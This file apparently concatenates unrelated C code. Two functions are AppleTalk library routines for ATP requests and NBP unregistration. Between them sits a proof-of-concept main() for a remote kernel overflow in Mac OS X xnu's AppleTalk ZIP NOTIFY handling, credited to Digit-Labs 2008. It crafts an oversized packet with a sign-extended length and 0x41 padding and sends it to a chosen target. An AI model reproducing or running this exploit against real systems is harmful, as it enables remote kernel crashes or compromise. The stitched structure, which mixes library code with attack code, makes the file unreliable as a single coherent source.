/* * ah: open atp handle * atpb: parameter block * respcount: buffers available for response * flags: ATP_XO, ATP_TREL */ int atp_sreq( ATP ah, struct atp_block *atpb, int respcount, u_int8_t flags ) { struct atpbuf *req_buf; int i; #ifdef EBUG atp_print_bufuse( ah, "atp_sreq" ); #endif /* EBUG */ /* check parameters */ if ( atpb->atp_sreqdlen < 4 || atpb->atp_sreqdlen > ATP_MAXDATA || ( respcount < 0 ) || ( respcount > 8 ) || ( atpb->atp_sreqto < 0 ) || (( atpb->atp_sreqtries < 1 ) && ( atpb->atp_sreqtries != ATP_TRIES_INFINITE ))) { errno = EINVAL; return -1; } /* clean up any packet fragments left from last request */ for ( i = 0; i < 8; ++i ) { if ( ah->atph_resppkt[ i ] != NULL ) { atp_free_buf( ah->atph_resppkt[ i ] ); ah->atph_resppkt[ i ] = NULL; } } /* generate bitmap, tid and ctrlinfo */ atpb->atp_bitmap = ( 1 << respcount ) - 1; /* allocate a new buffer and build request packet */ if (( req_buf = atp_alloc_buf()) == NULL ) { return( -1 ); } atp_build_req_packet( req_buf, ah->atph_tid++, flags | ATP_TREQ, atpb ); memcpy( &req_buf->atpbuf_addr, atpb->atp_saddr, sizeof( struct sockaddr_at )); /* send the initial request */ #ifdef EBUG printf( "\n<%d> atp_sreq: sending a %ld byte packet ", getpid(), req_buf->atpbuf_dlen ); atp_print_addr( " to", atpb->atp_saddr ); putchar( '\n' ); bprint( req_buf->atpbuf_info.atpbuf_data, req_buf->atpbuf_dlen ); #endif /* EBUG */ gettimeofday( &ah->atph_reqtv, (struct timezone *)0 ); #ifdef DROPPACKETS if (( random() % 3 ) != 2 ) { #endif /* DROPPACKETS */ if ( netddp_sendto( ah->atph_socket, req_buf->atpbuf_info.atpbuf_data, req_buf->atpbuf_dlen, 0, (struct sockaddr *) atpb->atp_saddr, sizeof( struct sockaddr_at )) != req_buf->atpbuf_dlen ) { atp_free_buf( req_buf ); return( -1 ); } #ifdef DROPPACKETS } else printf( "<%d> atp_sreq: dropped request\n", getpid() ); #endif /* DROPPACKETS */ if ( atpb->atp_sreqto != 0 ) { if ( ah->atph_reqpkt != NULL ) { atp_free_buf( ah->atph_reqpkt ); } ah->atph_reqto = atpb->atp_sreqto; if ( atpb->atp_sreqtries == ATP_TRIES_INFINITE ) { ah->atph_reqtries = ATP_TRIES_INFINITE; } else { /* we already sent one */ ah->atph_reqtries = atpb->atp_sreqtries - 1; } ah->atph_reqpkt = req_buf; ah->atph_rbitmap = ( 1 << respcount ) - 1; ah->atph_rrespcount = respcount; } else { atp_free_buf( req_buf ); ah->atph_rrespcount = 0; } return( 0 ); }
int main (int argc, char **argv) { struct sockaddr_at daddr, saddr; char *p, buf[1024]; int fd, zlen; printf ("Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC\n" "by: <*****@*****.**>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); if (argc < 3) { fprintf (stderr, "Usage: %s <dst addr> <zone> [src addr]\n", argv[0]); exit (EXIT_FAILURE); } if (!atalk_aton (argv[1], &daddr.sat_addr)) { fprintf (stderr, "* dst address: atalk_aton failed\n"); exit (EXIT_FAILURE); } if (argc > 3) { if (!atalk_aton (argv[3], &saddr.sat_addr)) { fprintf (stderr, "* src address: atalk_aton failed\n"); exit (EXIT_FAILURE); } } daddr.sat_family = AF_APPLETALK; daddr.sat_port = 6; if ((fd = netddp_open (argc > 3 ? &saddr : NULL, NULL)) < 0) { fprintf (stderr, "* netddp_open failed\n"); exit (EXIT_FAILURE); } printf ("Appletalk dst: %s, ", argv[1]); if (argc > 3) printf ("src: %s, ", argv[3]); printf ("zone: %s... ", argv[2]); p = buf; *p++ = DDPTYPE_ZIP; *p++ = ZIPOP_NOTIFY; /* ZIP NOTIFY */ *p++ = 0x00; *p++ = 0x00; /* pad */ *p++ = 0x00; *p++ = 0x00; *p++ = 0x00; zlen = strlen (argv[2]); *p++ = zlen; memcpy (p, argv[2], zlen); p += zlen; *p++ = 0x80; /* >= 0x80 sign extended :( * < 0x80 not enough to hit anything useful, * except maybe ifPort... */ memset (p, 0x41, 0x80); p += 0x80; if (netddp_sendto (fd, buf, p - buf, 0, (struct sockaddr *) &daddr, sizeof (struct sockaddr_at)) < 0) { fprintf (stderr, "* netddp_sendto failed\n"); exit (EXIT_FAILURE); } printf ("done\n"); return (EXIT_SUCCESS); }
int nbp_unrgstr(const char *obj,const char *type,const char *zone, const struct at_addr *addr) { struct sockaddr_at to; struct nbphdr nh; struct timeval timeout; fd_set readfd; struct servent *se; char *data; int s, cc; SOCKLEN_T namelen; memset(&to, 0, sizeof(to)); if ((s = netddp_open(&to, NULL)) < 0) return -1; data = nbp_send; *data++ = DDPTYPE_NBP; nh.nh_op = NBPOP_UNRGSTR; nh.nh_cnt = 1; nh.nh_id = ++nbp_id; memcpy( data, &nh, SZ_NBPHDR ); data += SZ_NBPHDR; memset(data, 0, SZ_NBPTUPLE); data += SZ_NBPTUPLE; if ( obj ) { if (( cc = strlen( obj )) > NBPSTRLEN ) return( -1 ); *data++ = cc; memcpy( data, obj, cc ); data += cc; } else { *data++ = 0; } if ( type ) { if (( cc = strlen( type )) > NBPSTRLEN ) return( -1 ); *data++ = cc; memcpy( data, type, cc ); data += cc; } else { *data++ = 0; } if ( zone ) { if (( cc = strlen( zone )) > NBPSTRLEN ) return( -1 ); *data++ = cc; memcpy( data, zone, cc ); data += cc; } else { *data++ = 0; } memset( &to, 0, sizeof( struct sockaddr_at )); to.sat_family = AF_APPLETALK; if (addr) memcpy(&to.sat_addr, addr, sizeof(struct at_addr)); #ifdef BSD4_4 to.sat_len = sizeof( struct sockaddr_at ); #endif /* BSD4_4 */ if ( nbp_port == 0 ) { if (( se = getservbyname( "nbp", "ddp" )) == NULL ) { nbp_port = 2; } else { nbp_port = ntohs( se->s_port ); } } to.sat_port = nbp_port; if ( netddp_sendto( s, nbp_send, data - nbp_send, 0, (struct sockaddr *)&to, sizeof( struct sockaddr_at )) < 0 ) { goto unregister_err; } FD_ZERO( &readfd ); FD_SET( s, &readfd ); timeout.tv_sec = 2; timeout.tv_usec = 0; if (( cc = select( s + 1, &readfd, NULL, NULL, &timeout )) < 0 ) { goto unregister_err; } if ( cc == 0 ) { errno = ETIMEDOUT; goto unregister_err; } namelen = sizeof( struct sockaddr_at ); if (( cc = netddp_recvfrom( s, nbp_recv, sizeof( nbp_recv ), 0, (struct sockaddr *)&to, &namelen )) < 0 ) { goto unregister_err; } netddp_close( s ); data = nbp_recv; if ( *data++ != DDPTYPE_NBP ) { return( -1 ); } memcpy( &nh, data, SZ_NBPHDR ); if ( nh.nh_op != NBPOP_OK ) { return( -1 ); } return( 0 ); unregister_err: netddp_close(s); return -1; }